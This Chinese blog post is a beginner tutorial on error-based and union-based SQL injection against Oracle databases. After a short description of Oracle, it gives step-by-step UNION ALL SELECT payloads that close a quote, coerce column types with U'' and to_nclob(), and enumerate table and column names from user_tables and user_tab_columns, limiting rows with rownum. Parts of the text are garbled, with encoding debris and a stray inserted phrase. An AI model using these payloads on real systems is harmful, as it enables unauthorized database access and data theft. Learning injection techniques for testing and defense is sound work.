作者:admin 日期:2023-10-15 浏览: 次
Oracle数据库报错注入,零基础的你也能看懂疫情期间在家好好学习
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品??梢运礝racle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。
和MySQL注入一样:利用order by 猜解字段数联合查询: 这里和MySQL不太一样找到输出点:这里要注意字符类型利用系统自带库查询表名字段名
一、注入函数解析:select *from all_tables :查询出所有的表select *from user_tables :查询当前的用户表(就是当前数据库下的所有表)select *from all_tab_columns :查询所有的字段名select *from user_tab_columns :查询当前用户的字段名(就是当前库下的字段名)
二、细节
我们知道让MySQL显示 指定行输出用limit 但是在Oracle数据库中,用的rownum :
例如:select *from user_tables where rownum=1 。但是要注意的是,让它显示两行不是rownum=2。而要用rownum<3 。宿迁数据恢复可以用'<>' 过滤掉第一行,‘<>’就是不等于的意思。
例如:select *from user_tables where rownum<3 and table_name<>'user'
三、dual
还有就是dual,它是一个实表,也可以叫虚表。那他有什么用呢?
在MySQL中可以直接select 1,2,3 .但是Oracle中不能这样写,那还要输出123怎么办呢,可以使用dual来满足语法。
例如: select 1,2,3 from dual
经过尝试发现要用单引号闭合。得到子段数是3.确定字符类型
’ union all select null,null,null from dual --+
’ union all select 1,null,null from dual --+
显示正确
’ union all select 1,1,null from dual --+
显示错误。
’ union all select 1,U‘das’,null from dual --+
显示正确。:这里使用U是强行转成后面的类型
’ union all select 1,U‘das’,U‘dsfa’ from dual --+
显示错误。:这里可能是二进制类型,可以用转码函数进行转码。
’ union all select 1,U‘das’,to_nclob('dsa') from dual --+
显示正确,得到了相应的字符类型,并且找到了输出点,那下面就查找相应的表名,字段名。
可以看到我们需要的字段名是table_name
' union all select 1,null,to_nclob(table_name) from user_tables --+
但输出点只能显示一条数据的时候,要用rownum来限制输出数
找到表名后,查找字段名
可以看到,限制条件是table_name,查找到column_name
'union all select 1,null,to_nclob(column_name) from user_tab_columns where table_name=xxx
在Oracle数据库库中要注意几个系统自带表:
all_tablesuser_tablesall_tab_columnsuser_tab_columns
Oracle数据库用表dual 来满足数据格式,要注意字符的类型。
U‘df’ 强行转换;to_nclob() 二进制转换
rownum 限制输出行数。